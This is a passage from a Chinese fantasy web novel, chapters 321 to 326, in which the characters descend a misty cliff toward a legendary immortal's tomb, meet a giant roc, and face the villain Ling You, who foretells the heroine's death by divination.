“那又怎么样?”裴子墨微微摇了摇头,“那已经过去了,何必再执着于前几世的事情,我想大概也是因为如此,我才会打碎他的三生石,这一世便是这一世的事情。我这么不容易才走到今天,活着的每一天都是偷出来的,难道还要执着于以前那些虚无缥缈的事么?” “既然遁世岛不把外面的这些人当人,那也没必要让他们来摆布我们的人生不是么?”裴子墨说着轻轻叹了一口气。 凌珞生气地站起身,迈步就往外面走,走了几步见裴子墨没有拦他,又转头看着她道,“裴子墨,你不相信我说的话,你迟早会后悔的。” 裴子墨转头看他轻笑了一声,有些无奈地摇了摇头。 凌珞拧着眉看了她半响,才终于又问,“白锦夜到底为什么还没来?” “可能去办别的事了吧。”裴子墨已经收好了棋盘,自己又重新在棋盘上落子。 凌珞闻言又走了回来,“是你通知了他,让他不要来,是么?” “我不是一直在你眼皮子底下么?怎么会通知他让他不要来?”裴子墨笑了笑,“他有自己的想法,腿也是长在他自己的身上,他还不能去办点自己的事了么?” “去哪了?”凌珞抓住裴子墨的手腕,眯眼盯着她。 “你对他来不来这里,为什么这么紧张?”裴子墨也就扔下了棋子,顺着凌珞的力道站起来,“你等着他来,到底要干什么?你一边说不会再让我见他,一边又希望他赶紧来这里,凌珞,你越是这样,我越会觉得这里面有什么阴谋。” “你就越不会让白锦夜来,是么?”凌珞放开手,往后退了几步,“他自己来,和被我抓来,下场可绝对不一样。” 他说着顿了顿,像是想起了什么,转头向外面看了半响才道,“袁澈呢?袁澈不见了,你让他在圣殿帮你找什么?是已经找到了吧?所以你让袁澈又帮你去做别的事了,是么?袁澈可真是一条听话的好狗!” “他可不是什么听话的好狗,他只是不想再做一条狗而已。”裴子墨说着顿了下,“不然你考虑考虑,告诉我,你到底要做什么,我就也考虑考虑,叫白锦夜过来,省得你等着着急。” 第321章 仙冢 凌珞眯眼看着裴子墨好半响,才轻笑一声,“好,你想知道,我就带你去看看。” 裴子墨跟着凌珞进了九幽圣谷的后山,到了山顶,再往前走,就是一处断崖。 断崖下面深不见底,但是隐隐的能听见水流的声音,所以这崖下应该是一条河。但这么高的断崖都能听到这水声,显然河水应该很深,也很湍急。 站在崖边,凌珞半响都没有说话。 裴子墨正要开口询问的时候,突然见到一丝白色的气体飘了上来,但是这丝气体很快就消失在空气之中,像是从来没有出现过。 这样的白色气体裴子墨之前也见过,这是仙气。 她微微有些诧异,“这崖下,有仙气?” “你不觉得这里很眼熟么?”凌珞说着也自己回答了这个问题,“其实琼华山的深渊,并非外力形成,而且凌幽仿照这里所建。” “近千年来,遁世岛并非再没有任务指派下来,只不过能接收任务的人太少,他们因为你的事,找上过凌幽,所以也就把这个任务告诉了他。虽然以凌幽动的能力,根本不足以进入完成任务的待选之列,但是他们这就算是对凌幽格外施恩,说是只要凌幽能完成,也可以和其他人享受一样的待遇。” 凌珞抬手捋了捋自己的袖口,“凌幽沾沾自喜,自以为自己得了遁世岛青眼,距离成仙只有一步之遥,我也懒得告诉他遁世岛到底是个什么地方,他就一直不遗余力地想要完成遁世岛的任务。” “这一次遁世岛的任务,是寻找一处地点,就是眼前这个。其实凌幽早就找到了,但他突然又转变了想法,不想把这个地方告知遁世岛了。” 他说着抬手抓住一丝仙气,握起手,仙气便从指缝之间溜走。 “他也认出这是仙气,他更想知道这下面是什么,可是他尝试了很多次,都没办法下到最下面。”凌珞抬手指了指旁边,“这里根本没有路,他也是只能引出黄泉路,逐渐往下走。他说越往下,仙气越浓,到了一定的深度,仙气已经有了压迫感,他就没办法再往下走了。” “越是弄不清下面是什么,他就越是好奇。他急着让我也引出黄泉路,是想要带着我一起下去,看看我们两个人一起,能走到哪。但是在我并不配合他之后,他在琼华山便弄出了那么个深渊,甚至还引来了遁世岛的人。” “但据说遁世岛的人来了之后,只看了一眼,就确定那深渊不是他们要找的,凌幽几番旁敲侧击,遁世岛毕竟还需要凌幽帮着处理你的事,于是才透了些口风,说这下面,是仙冢。” “得知了这是什么之后,凌幽更不愿意把此处透露给遁世岛,甚至还回来找过我一次,他以仙冢为诱惑,希望我能帮他一起下去,只要拿到仙冢里的东西,他愿意跟我平分。” 凌珞嗤笑一声,“我若是不懂世事的毛头小子,大概真的会被他的花言巧语欺骗,可是巧就巧在……”他转头看了裴子墨一眼,“我有着不知道比凌幽多多少年的记忆,不管这下面到底是不是仙冢,是不是真的有能让我们成仙的东西,就算我好奇,我也不想让凌幽拿到。” “那次凌幽离开之后,我以为他会放弃了。但是他这次回来,其实提出的要求,是这个。只不过他已经是灵魂之体,没办法引出黄泉路,虽然可以附在袁澈的身上引出黄泉路,但是能力却大打折扣。以他巅峰时期都没办法下去,更何况是现在?我劝他考虑点现实的,他才退步要了血莲。” “但是,他显然并没有放弃这里的事。”他微微眯起眼睛,“凌幽这个人,若是他得不到的,别人也得不到,这件事他就觉得没什么。所以他虽然不能下到这断崖之下,但别人也下不去,他也就不会告知遁世岛,因为他还会对自己可以下去这件事抱有一丝希望。” “可眼下,他成了灵魂之体,再都没有希望下到断崖之下,说不定他就会找机会把这件事告诉遁世岛。你现在让裴黎的师叔封住了他的魂魄,可不可能永远都不放出来,一旦放出来,给了他机会联系遁世岛,那说不定你就要功亏一篑了。” “我觉得,最好的办法,就是我们趁遁世岛还不知道这件事之前,先下去,找到仙冢,也许还能扳回一城。” 裴子墨微微皱起眉头,没有表达自己是认同还是不认同凌珞的话,她后退了几步,原地坐下,“凌幽没办法下去,你觉得以你和白锦夜你们两个人,就有办法下去了?” “我也往下走过。”凌珞开口道,“确实如凌幽所说,而且很奇怪,这丝仙气我也没办法炼化。可就算这仙气于我们无用,但仙冢之中,说不定会有仙器。若是多一个像是七杀斩这样的仙器,你将来成功的胜算,不又多了一些么?” 裴子墨抬眼看他,“你现在游说我,和当初凌幽游说你,有什么区别?” 凌珞双手背在身后,已经把这件事跟裴子墨说了,他反倒不着急了,“如果我有机会见到白锦夜,我告诉他这下面的东西,将来说不定能救你,我想他一定愿意跟我一起下去拿。” 裴子墨微微眯了眯眼,“我也要一起下去。” “你碰不了黄泉路,万一下面有危险,我们顾不上你,你落在黄泉路上怎么办?”凌珞拧着眉。 “就这一个条件。”裴子墨不松口,“你同意就同意我就叫白锦夜来,咱们一起下去看看,你若是不同意,那就算了。”顿了顿她又补充,“再说,你不是和凌幽都分别下去过好几次了?除了仙气的压迫,不是也没有什么其他的危险?” 凌珞没说话,转身看向断崖下面,看着一丝仙气飘上来,又慢慢地消散在空气中,他微微眯了眯眼,最后道,“好。” 裴子墨便也就站起了身,她一边拍打着身上的灰土一边道,“白锦夜已经在鬼王沙漠之中了,约摸着再有一天,就能到北冥国了。” “看来,你就让他等在鬼王沙漠之中,这是不见兔子不撒鹰了。”凌珞拧眉看向裴子墨。 裴子墨摊了摊手,转身往山下走,“我可没逼你。” 第322章 被人当猪来养 白锦夜是第二天到的北冥国,本来想着这次来北冥国不知道会发生什么样的事,左辞虽然跟裴子墨学了几天术法,在普通人里已经算是好的了,可万一遇上真的会术法的人,他大概还是没有一丝丝还手的能力,所以他一开始是不打算带上左辞的。 但是左辞不来,寒羽就不肯来。 加上寒羽信誓旦旦的说可以保护左辞,于是白锦夜也就只能带上了他。 凌珞已经派人等在了城门,这一次白锦夜便是大大方方的从城门进了北冥国。 上一次他和裴子墨过来,为了避免被人发现,走的都是小路,如今这也算是第一次认真的看看北冥国的景象。 这北冥国和他想象中的相差很多,街上没什么热闹的景象,没什么摊贩,过往的人也都是脚步匆匆,连小孩子也很难看到。 白锦夜微微皱起眉头,这北冥国也太过荒凉了一些了。 左辞也四处看着,忍不住呷了呷嘴,“王爷,你说王妃就在这种地方长大的?这地方……真是一点人气儿都没有,要是让我在这里生活,要不了几年,肯定就憋死了。” 白锦夜转头看了他一眼,示意他不要乱说话。 左辞只好轻轻地叹了一口气,转头看向寒羽,“但是这里,起码比你老家好吧?” 寒羽眨巴了下眼睛,然后认真地点点头,只要有吃的的地方,应该都比他老家好。 这一次带路的人没有带他们去圣殿,走了大半天,走得左辞都快耍无赖了,才终于走到九幽圣谷的小院。 “诶呦。”刚一进院子,左辞就忍不住提高声音,“王妃,城里住着不好么?要跑到这么偏僻的地方来住?走过来真是累死我了。” 没有人回应左辞的话,半响后,凌珞才从房子里走出来,他扫了扫衣袖,看着站在院子中间的白锦夜,微微露出一丝笑。 白锦夜拧起眉头,只是还不等他说话,左辞就已经开了口,“我们家王妃呢?你把人弄哪去了?” 他这话说得硬气,但是也不敢往前凑,而是躲在了寒羽的身后。 至于寒羽,听到左辞的质问,立刻就对凌珞龇了龇牙。 凌珞的目光在他们两个身上扫了一眼,也懒得理会他们,最后只是看向白锦夜。 白锦夜拿出华精玉,朝凌珞扔过去,“你要的东西。” 凌珞接过华精玉,拿在手上把玩了半响,“原来华精玉就长这样,好像也没什么特殊。”他说着又把华精玉朝白锦夜扔了回来,“现在,这不是我要的东西了。” 白锦夜微微眯了眯眼,凌珞不要华精玉,他也就没留,转手又递给了寒羽。 寒羽见这东西失而复得,开心得不得了,赶紧收了起来,甚至觉得白锦夜和凌珞有点傻,这么好的东西,他们竟然不要,他又能把它留给左辞了。 “那你要什么?”白锦夜开口问道。 “我要你跟我去个地方。”凌珞说着往前走了几步。 “裴子墨人呢?”白锦夜赶紧问,“让我先见见她,不然我哪也不去。” 凌珞轻笑了一声,侧过身,示意白锦夜自己进房间去看。 白锦夜进了门,却也只能走到卧室门口,卧室被阵法拦住,他没办法再往里面走,裴子墨躺在床上,像是睡着了,“她怎么了?”他转头看向凌珞,微微眯起眼。 “没怎么,只是睡着了。”凌珞回道。 白锦夜显然不信,但是他破不开面前的法阵,只能看向左辞。 左辞会意,立刻看向寒羽,“你去把王妃带出来,咱们就立刻离开这里,到时候你想吃什么我都给你做。” 寒羽点点头,脚步还没迈开,就听凌珞笑出了声。 他看着寒羽,笑得眼泪都快出来了,“堂堂修罗,好像被人当猪一样养着,你爹要是知道了,还不得气死?” “死孩子!”寒羽骂了一句就朝凌珞冲过去。 “别跟他动手。”白锦夜拧着眉阻止了寒羽,本来他们这里面,唯一有可能打过凌珞的,就是寒羽,可寒羽这性子和心智都容易被激怒,万一凌珞在这设了什么陷阱,寒羽受了伤,他们就麻烦了。 寒羽冲了几步,可好在他听话,他犹豫了半响,终于还是放弃了凌珞,转身往卧室走。 “我可提前告诉你们,这阵法的阵眼就在裴子墨的身上,如果你们强行破开这阵法,那第一个受伤的肯定是她。”凌珞看着他们慢悠悠地开口道。 “我们王妃要是受了伤,我们也不会放过你。”左辞盯着凌珞,手放在了剑柄上,他虽然不是凌珞的对手吧,可这时候绝对不能让凌珞看扁了。 “我已经说了,你陪我去个地方,回来之后,这阵法我自然就会解开了。”凌珞又道。 白锦夜微微皱了下眉,隔了会才问,“去哪?” “早配合不就好了。”凌珞说着转身往外走,走了几步,又道,“那地方需要黄泉路,走不了黄泉路的人,就没必要去了。” 言下之意,显然指的就是左辞。 左辞犹豫了一下,他不能去,可是他也不放心白锦夜,“王爷,那我留下来守着王妃,要是王妃醒了,说不定有办法破开阵法出来,到时候我们再去找你们,让寒羽跟你去,他也能走黄泉路。” 白锦夜微微摇了摇头,现在裴子墨毕竟在阵里,又不是清醒的状态,留左辞一个人在这里他更不放心。 “别在这演主仆情深了。”凌珞有些不耐烦了捋了捋袖口,“这九幽圣谷没有外人来,留在这死不了。”说着他顿了顿,又看向寒羽,“不过多一个能走黄泉路的人,也不是坏事。” “快去。”左辞推了寒羽一把,又低声道,“那死孩子肯定不是什么好人,所以你一定要帮我保护好王爷,知道么?” 寒羽点点头,才一步一回头,有些不舍地跟着白锦夜他们往外走。 走到断崖边,凌珞看着下面,开口道,“就是这里了。” 白锦夜拧眉看着眼前的断崖,“这下面。” “是。”凌珞点点头,又转身看着白锦夜和寒羽,“不过下去之前,我们要约法三章。” 第323章 修罗界劝人向恶的童年故事 “你说。”白锦夜看着凌珞,眼里带着几丝警惕。 “这下面的情况未知,所以无论我们之间有什么私人恩怨,都要暂且放到一边。”凌珞开口道,他说这话,目光却落在寒羽的身上。 白锦夜知道,凌珞对他的防备没有那么多,毕竟他在术法上完全不是凌珞的对手,但是寒羽不一样,他点了点头,又看向寒羽,“裴子墨还在他手上,答应他吧。” 寒羽有些不情愿地翻了个白眼,但还是点了点头。 凌珞这才收回目光,又继续道,“我们第一次下去,可能只是大概探探情况,具体能走到哪,遇到什么,我也不知道,不过遇到什么解决不了的情况,我们可以先返回,再从长计议。” “那你这意思,要是一直探不清这下面到到底是什么情况,达不到你的目的,就要反反复复的下去了?”白锦夜冷笑一声,“怎么,要把时间都耗在这么?” 凌珞也没有回答他的话,只是继续道,“这下面的东西,如果能拿上来,见者有份。” “这下面是什么?”白锦夜眯起眼问道。 凌珞转头看向断崖下面,“有些事,裴子墨应该已经对你说了,她未来的敌人是谁,你也应该知道了,这下面的东西,是能帮她的。” 白锦夜显然不信,“你有这么好心?” 凌珞看了他一眼,没有说话,往前走了几步,黄泉路从他的脚下蔓延开,他自己先朝断崖下面走了下去。 白锦夜微微犹豫了下才跟上,但是也一直跟凌珞保持了一些距离。 走了一段,他多少又觉得有些不稳妥,便想引出自己的黄泉路,只不过他这念头刚冒出来,还没实施,就听前面的凌珞开了口。 “我刚才已经说了,所有私人恩怨放下,我也一样不会害你。保留点体力,后面有用得着的时候。” 白锦夜微微皱了下眉头,侧目往断崖下面看去,“你不会对这下面一无所知吧?” 凌珞之前来过,起码能往下走不短的距离,这一开始的一段也没什么压力,他也就把之前的事情给白锦夜讲了一遍。 白锦夜拧着眉,没有说话。 倒是跟在他身后的寒羽,闻言眸光一亮,抬手拉了拉白锦夜的衣袖,低声道,“我小的时候,我爹给我讲过故事,他说很早以前,神仙是可以随处走的,到处都能见到各种神仙,他们还会到处收徒,传人仙法。” “但是每个神仙都是唯一的,一定有神仙死了,其他人才有可能补上他们的仙位。他们每个人都有一个小牌子,那个小牌子是他们身份的证明。” “后来,有个神仙收了个徒弟,他那个徒弟偷了他的仙牌,替他去做了神仙。那个神仙就被迫留在了外面。他就一直帮助人,做了很多很多好事,人人都歌颂他,这事就被仙界知道了,他们就注意到了这个人。” “他那个徒弟怕被人发现自己偷拿仙牌的事,就跑来把他的师父给杀了,还把他师父的尸体给扔到了一个深渊下面,让别人再也没办法找到他师父,然后这个徒弟就又回了仙界,继续做神仙了。” “我爹跟我说,所以人不能做太多好事,不能做好人,要做恶人,这样就不会被人欺负了。” 凌珞的笑声忍不住从前面传来,“你爹为了让你做个正常的修罗,还费尽苦心给你编过这种故事?真是难为他了。” 寒羽朝着凌珞的背影龇了龇牙,“死孩子你懂什么?” 白锦夜也无声地叹了口气,这故事显然是那个老修罗面对自己的傻儿子,无奈之下编出来的故事。 “是真的。”寒羽有点急,他拉着白锦夜的衣袖,“真的,炼魂谷里有好多魂魄,他们都说自己见过神仙的,有一个魂魄跟我说……” “修罗以炼魂谷的魂魄为食。”凌珞打断寒羽的话,“你去炼魂谷,不吃魂魄,反倒听他们给你讲故事,你爹可真是……为你操碎了心。” “等你去了炼魂谷,我一定撕吧撕吧把你吃了。”寒羽抿了抿唇,转头看向白锦夜,“你相不相信我?” 白锦夜有些敷衍地点了点头。 见白锦夜相信自己,寒羽一下子就开心了起来,“我爹还跟我说,那个仙人死后魂魄不绝,一直守在自己的身体周围,地府去了好多人,都没办法把他的魂魄带入地府,后来没办法就放弃了。当时我爹也跟着一起去了呢,我爹说,要是能把那个魂魄吃了,那肯定能直接成仙了,可惜……” 寒羽吧嗒了下嘴,“我爹说吃不了,我也不知道为什么吃不了,而且他身上还有仙器,只不过那仙器认主,别人也没办法带走。” “我爹还说,他的尸体也一直都没有腐烂。” 寒羽说着挠了挠头,努力地回想着,但是实在想不起来了,也就放弃了。 又往前走了一段,呼吸的压迫感就已经明显很强了,不过寒羽倒像是完全不受影响,他用手扇着面前的白雾,忍不住催促凌珞,“你怎么走的越来越慢了,你行不行?不行去后边跟着。” 凌珞拧着眉,他之前也就是走到这附近,便很难在往下走了,于是就停下脚步,转头看向气息平稳的寒羽,“好,你去前面走。不过黄泉路只在我身前两丈才有,你也别走得太快,掉下去没人能救你。” “太弱了。”寒羽瞥了凌珞一眼,“给你喝了那么多血,都白喝了么?” 凌珞这会不愿意跟他呈口舌之快,侧身让寒羽走在了前面。 白锦夜的脚步也跟着慢下来,他抬手捂了下胸口,又走了几步便停了下来,也出声叫住寒羽,“先等等。” 寒羽转头看他,见他被压迫的几乎无法呼吸,忍不住无奈地摇了摇头,在怀里摸了会,摸出华精玉递给白锦夜,“都说了是好东西,你们还不要。”顿了顿又补充,“一会记得还给我。” 白锦夜知道华精玉是温养魂魄的,并不知道这会会有用,但还是接了过来。 手刚一碰到华精玉,全身的压迫感突然就全都消失,呼吸也立刻顺畅起来。 第324章 你不会是要偷鸟蛋吧? 有了华精玉在手上,压迫感消失,这一下就能往下走得更深了。 凌珞眯起眼,看着华精玉,一副若有所思的模样。 压迫感虽然没有了,但是越往下,白雾越浓,最后都已经很难看清路了。 但是唯一可以确定的是,他们已经几乎快到断崖的最下面了,因为这一会水声已经几乎完全遮住了他们说话的声音,互相之间的交流,只能全靠喊。 而且空气中的水汽也越来越明显,甚至偶尔都会有水滴溅到脸上。 突然,在深渊之下,不知道有什么东西,以极快的速度冲了上来。 三人立刻紧贴着崖壁站好,做出防御的姿态。 雾气太重,他们也看不清有什么东西冲了上来,只是感觉随着那东西往上冲,白色的雾气里像是闪过几道闪电,随后三人就被大水迎面泼了头。 白锦夜和凌珞拧着眉擦着脸上流下来的水,寒羽像是丝毫没有被影响到,指着那冲出去的东西的大喊道,“我想起来了,我爹还说,那仙人有个坐骑,是紫翅天鹏,仙人死了,但是他的坐骑没死,他的坐骑也一直守着他。” 像是在回应寒羽的话,那雾气之中,传来一声嘹亮的鸟鸣,随着这声鸣叫,就连雾气都被冲散了不少。 这声鸣叫响彻天际,裴子墨眉头一拧,猛地坐起身,四下看了一圈,用力地捶了一下床,起身就往外走。 可走到门口,就被阵法拦住。 左辞也是听到了声音,就跑到院子里去看,什么也没看到,便又转身回了屋子,“王妃,你醒了?” 裴子墨抬眼看他,左辞在这,白锦夜肯定是已经到了,“你家王爷呢?” “被凌珞带走了,说是要让王爷陪他去个什么地方。”左辞回道。 “该死。”裴子墨拧着眉,垂眼看着阵法,她就知道凌珞没有那么好说话,说是同意让她跟着一起去的时候,估计就已经想好了,根本不打算带上她,“刚才是什么声音?” “不知道。”左辞摇了摇头,“但是好像是后山那边传来的。” 裴子墨知道,大概率就是断崖那边,她也没再说话,专心破阵。 凌珞显然是故意的,这困阵被他设置的极其麻烦,虽然她不会因此受伤,但是想要破阵,也要耗费不少的功夫。 等她破阵完,大半天都过去了,左辞甚至趁她破阵的时候,做好了饭菜等她吃。 她也确实是饿了,一边狼吞虎咽,一边问,“他们什么时候出去的?” “昨天。”左辞看着她,“王妃你慢点吃,寒羽跟着一起去了,应该不会有什么太大的问题,再说,那个凌珞也不傻,难道他会自己以身犯险,去很危险的地方么?” “凌珞是不傻,但是他这个人……就是很执着。”裴子墨拧着眉。 “王妃,那你急也没用,他说那个地方需要黄泉路才能去,咱们就算现在赶过去了,估计也没什么办法。”左辞其实心里也急,白锦夜他们都去了一天一夜了,不知道怎么的弄出那么大的声音,总感觉不像是要发生什么好事。 可是他们来就是为了裴子墨来的,虽然来的时候就知道可能会有危险,但是只要能救了裴子墨,那也就不算白来了。 要是裴子墨现在跑过去,也跟着有什么危险的话,那他们这一趟可真是一点都不值得了。 裴子墨放下碗筷,擦了擦嘴,“走,去看看。” “嗯。”左辞点点头,“王妃,咱们可说好了,先去看看,要是有危险,就赶紧跑,不然王爷如果知道我没有守好你,肯定会怪我的。” 裴子墨看了他一眼,“你放心,有危险了我就先把你丢过去,你尽量多挡一会,这样我能跑得远一点。” 左辞听着裴子墨还会开玩笑,估摸着事情应该也不算太严重,于是屁颠屁颠地跟她一起出了门。 他们到断崖的时候,天已经黑了。 裴子墨往断崖下面看了看,轻轻叹了口气,正要往后退两步,又微微皱起眉头,这断崖之中的浓雾,跟之前比,好像是散了不少。 她拧眉四下看着,突然一阵狂风吹过来,她赶紧拉着左辞往后面退了一些,防止被狂风卷到断崖下。 她抬手用胳膊挡住脸,顺着风的来向看去,便见到一只巨大的鸟,停在断崖之上,双翅不断的扇动,风正是它的翅膀带起来的。 “这是什么?”左辞长大嘴巴看着面前的鸟,“我从来没见过这么大的鸟,这鸟是成精了吧?” 紫翅天鹏盯着裴子墨和左辞看了一会,又仰头鸣叫了一声,然后一俯身,朝断崖下面冲去。 刚才在小院里这鸣叫的声音就已经够大了,如今就在两个人的面前,裴子墨和左辞都被这声音震得耳朵里嗡嗡直响,左辞更是一屁股直接坐在了地上,捂着耳朵几欲眩晕。 “刚才就是这鸟的叫声。”裴子墨拧着眉。 左辞好半天才缓过来,“王妃,这鸟冲下去了,它会不会伤到王爷他们?看它的模样长得好凶啊。” 裴子墨微微摇了摇头,凌幽说这下面是仙冢,这鸟不知道是哪来的,但是若是这么多年都呆在这断崖之下,日复一日地吸收着仙气,说不定也有什么机缘。 但如果这鸟把这断崖下当了自己的巢穴,白锦夜他们下去,这鸟肯定是要攻击他们的。 她的手微微握成去拳头,在原地坐了下来,“你别乱走,我去看看。” “去哪?”左辞摸着脑袋,还不等再问什么,就见裴子墨闭上了眼睛。 裴子墨的身影突然出现,吓了寒羽一跳。 凌珞抱着肩膀看着她,“你就是这么通知白锦夜的?我倒是忘了本命玉佩这茬了。” 裴子墨没有理他,只是四下看了看,才问,“那只鸟就是从这里飞出去的?” “嗯。”白锦夜点点头,抬头往上看了看,“它又回来了。” 裴子墨知道它又回来了,她拧起眉,转头看向凌珞,“你不会是要偷人家鸟蛋吧?” 第325章 我会比一个外人更不靠谱么? “我根本就不知道这里有只鸟。”凌珞说着看向寒羽,“不如问问他吧,看看他爹还给他讲过什么故事。” 三个人一起看向寒羽,可这一次寒羽挠了挠头,有些尴尬地道,“我记着的都已经说了,就是那些。” 凌珞有些无语,没有再说话。 白锦夜把刚才寒羽讲过的故事给裴子墨讲了一遍,裴子墨听完也是一脸懵,这个故事她完全都没有听过,也不知道那老修罗王是从哪听到的。 裴子墨微微皱了下眉头,朝下面看了看,虽然雾气被紫翅天鹏俯冲的时候又冲散了不少,可是还是看不太清楚下面都有什么,“但如果下面都是河水的话,难道仙冢在水下?那你们要怎么下去?” “先走走看吧。”凌珞说着往前走,又看向裴子墨,“你该回去了吧?” 本命玉佩的事情,凌珞也清楚,裴子墨在这里呆不久,她见着现在没什么危险,便也不再耽搁他们时间,于是转头看向白锦夜,“如果有什么危险,就赶紧回去。” 白锦夜微微点了点头。 裴子墨没有再跟上,这一丝意识也回到了自己的身体。 见他睁开眼睛,左辞赶紧询问。 “他们暂时没什么危险。”裴子墨说着站起来,“我们先等一等吧。” “好。”左辞点点头,去捡了些树枝回来,烧了一堆火,又去打了野味摘了些果子。 断崖下面一直没有什么动静,裴子墨和左辞吃了些东西,便各自靠在树上休息。 等到第二天下午的时候,裴子墨微微有些急,昨天她下去的时候,看着当时的情况,他们应该是马上到崖底了。 不过不管发生什么情况,凌珞是有办法联系她的,起码也应该告知一声。 而且自从昨晚那只紫翅天鹏冲下去之后,就再也没了动静,这种安静让人觉得哪里怪怪的。 裴子墨站在崖边看了会,“我再去看……”她的话音还没落,就转头向山下看去,眼睛也微微眯起来。 左辞对气息没有那么敏感,可是也知道这是有什么变化,于是也跟着警惕地往山下看。 没一会,便见凌幽一个人出现在山顶。 裴子墨拧眉盯着他,“你怎么会在这?” “我怎么会在这?”凌幽笑着看着裴子墨,“你是想问,我为什么没被镇压在阵法里,是么?” 裴子墨看着他,没有说话。 “只差一点点。”似乎凌幽逃出阵法,又再次来到这,心里比较开心,所以话也就多了几句,“好在我看柳甫被吸走,留了个心眼,再回琼华山之前,做好了准备。裴黎到底是妇人之仁,可惜了,阵法只能压住她一个人。” 裴子墨思索了会,也大概明白了,“你在柳浅的身上做了手脚。” “算是吧。”凌幽说着也走上前来。 裴子墨微微侧开身,往旁边走了几步,跟他拉开了一些距离。 凌幽走到断崖边,垂眼往下面看着,顿了会才问,“凌珞跟白锦夜两个人下去了?” 裴子墨没有回答,但这个问题也不需要她回答,她和左辞呆在这,凌珞和白锦夜都不在,他们去哪了可想而知。 “凌珞这小子,从小胳膊肘就往外拐,我让他跟我一起下去,他不肯,如今倒是带了外人下去。”凌幽说着转头看向裴子墨,“你说,我可是他爹,我会比一个外人还不靠谱么?” “你在你儿子心中靠不靠谱,你自己不知道么?”裴子墨说着往断崖下看了一眼,反正她在这也帮不上忙,她也不想跟凌幽在这里相处,于是便退着往山下走,“你愿意呆在这里,就呆在这吧,我还有别的事就不陪着了。” 就是因为她现在不是凌幽的对手,所以上一次才会找袁澈来一起演戏。 更何况现在还有个左辞,能躲自然还是躲远点。 凌幽转头看向裴子墨,“这就走了,不想知道他们拿什么东西上来么?” “能不能拿上来都不知道,再说,我对这种天上掉馅饼的事不感兴趣。”裴子墨说着也微微加快了脚步。 “可是,我感兴趣。”凌幽抬起手,隔空抓住了裴子墨,“你也应该知道,我现在没办法召唤黄泉路,自然是没办法下去了,那你就陪我一起在这等着吧。” 裴子墨动了动,却没办法挣脱开凌幽的束缚,她转头看向左辞,对左辞使了个眼色,左辞会意,转身就往山下跑。 只是刚跑了一步,就一下子跌倒在地上,再也没有爬起来,半响后,就从他的嘴里传来呼噜声。 凌幽从左辞的身上收回目光,重新看向裴子墨,“放心,我这个人心软得很,不到万不得已,是不会杀人的。” “不会杀人?”裴子墨嗤笑一声,“都拿自己的后人来喂养修罗了,还好意思说这话?” 凌幽轻笑一声,只是说,“你懂什么,那些后人,除了分散血脉以外,一点用处都没有。如果不是多年以前,我狠下心来杀了所有的后代,你以为会有白锦夜的今天?” “真会往自己脸上贴金。”裴子墨看着他,脸上带着浓浓的讽刺。 “你不是‘十一公’的后人,自然不懂‘十一公’血脉的特殊性,后人越多,血脉越分散,就很难出现完全继承血脉的人。当年我们‘神冥公’一脉一代单传的时候,每个人都能打开黄泉路,可后来那些后人,连开冥路都成了困难。”凌幽说着有些无奈地摇了摇头,又转头看向断崖下面。 “如果不是我,现在他们怎么可能下得去这里?” 裴子墨微微皱起眉头,“你像是早就知道凌珞会和白锦夜一起下去。” “不要以为占卜之术只有你们圣女一脉才会,这占卜之术,最早也是‘神术公’那脉传出来的。我跟裴黎在一起那么多年,就算不够精通,也懂些皮毛。”凌幽说着手一翻,卦祖出现在他手上,“上次回来,发现这东西还在圣殿,这种好东西,你们圣女一脉都不知道珍惜,真是暴殄天物。” 第326章 死期 裴子墨这一下眉头皱得更紧。 这卦祖一直放在圣女一脉的祭坛之上,按照之前的规矩,没有人可以把卦祖从祭坛上带走。 鬼卿和冷鸢离开圣殿之后,圣殿里就已经没有人了。 本来她交代了袁澈,拿七杀斩来找她的时候,要一起带上卦祖。 但是那次袁澈只拿了七杀斩来,又偷偷告诉她卦祖不在祭坛了。 她本以为不会有人拿走卦祖,但是再上一次的时候,冷鸢启动了圣殿的阵法,也不知道是不是触动了什么阵法,所以把卦祖收起来了。 袁澈回来之后,其实一直在找的,就是卦祖。 但卦祖不见的时候,凌幽还没有来北冥国,所以……应该也就是柳浅了。 柳浅找机会先拿走了卦祖,之后凌幽来的时候,把卦祖交给了他。 凌幽把卦祖拿在手心里摆弄着,隔了会才开口随意地问道,“你猜,我用卦祖还卜到了什么?” 裴子墨没有说话,但是脸色已经开始变得难看起来。 凌幽又看向裴子墨,“哦,对了,听说你们圣女一脉会逆天改命,但是这卦祖有个能力,就是但凡用卦祖占卜出来的卦象,是大罗神仙都没办法改变的,所以只要是我占卜出来的事情,应该就再也没办法改变了,是吧?” 裴子墨依旧看着他手里的卦祖,没有说话。 “这件事,还是当年裴黎告诉我的,她出生的年月,可比你早上千年,那时候圣女一脉的传承还没有断裂,她知道的,应该比你多吧?”凌幽又继续道,“不过我也不知道她说的是真的还是假的,不如你来告诉我,卦祖占卜出来的事情,还能改变么?” 裴子墨抬起眼,看向凌幽,“那不如说一说,你都占卜到了什么。你说得对,圣女的传承到了我这一代的时候,很多都断了,我也不知道卦祖占卜出来的卦象是不是能改变,但是……我可以帮你看看,你学到那一点皮毛的占卜之术,占卜出来的事情,是不是准确。” “不是说,卦祖没有不准的卦么?”凌幽挑了挑眉。 “是啊,卦象没有不准,但是也要看解卦人如何解读,你学的既然是皮毛,那可能解读错了,也说不定呢。”裴子墨又道。 凌幽像是在思考什么,隔了会才道,“反正闲着也是闲着……我占卜到我有一劫,这劫没有生命之危,看样子是个困境。不过转机在柳浅的身上,而柳浅帮我带来这丝转机的同时,也会给她自身带来杀劫。” 裴子墨看着他,所以他本来是可以把柳浅带在身边,随时吸收血莲的能量的,就是因为这一卦,他没有带走柳浅,把柳浅留在了北冥国,而柳浅便因此去圣殿找她,以至于彻底的魂飞魄散。 “现在看来,这卦应验了,是么?”凌幽笑道。 “这种卦象,本来就很好解。”裴子墨开口道,“算卦一事,最难算的,便是应期,难道你没算算,你会什么时候死么?” “应期啊。”凌幽说着嘴角的笑容更大,“我倒是没有算我自己什么时候死,可我好心,帮你算了一卦,卦象上说,他们从这断崖下面拿着东西上来的时候,就是你的死期。” 裴子墨冷笑一声,“你可真是关心我。” “当年我那儿子为了柳浅,也算是疯狂一时,可是怎么就为了你,连柳浅都不要了?甚至还跟你共命……那我怎么能不关心你的死活呢?”凌幽眯起眼睛。 裴子墨四下看了看,“这里也不像是有别人会杀了我的样子,难道是他们拿东西上来的时候,你要抢,然后杀了我?可你也说了,我和凌珞共命,只要我死,他也一样会死。” “那也是他自己选择的路,不是么?”凌幽显然并不在意。 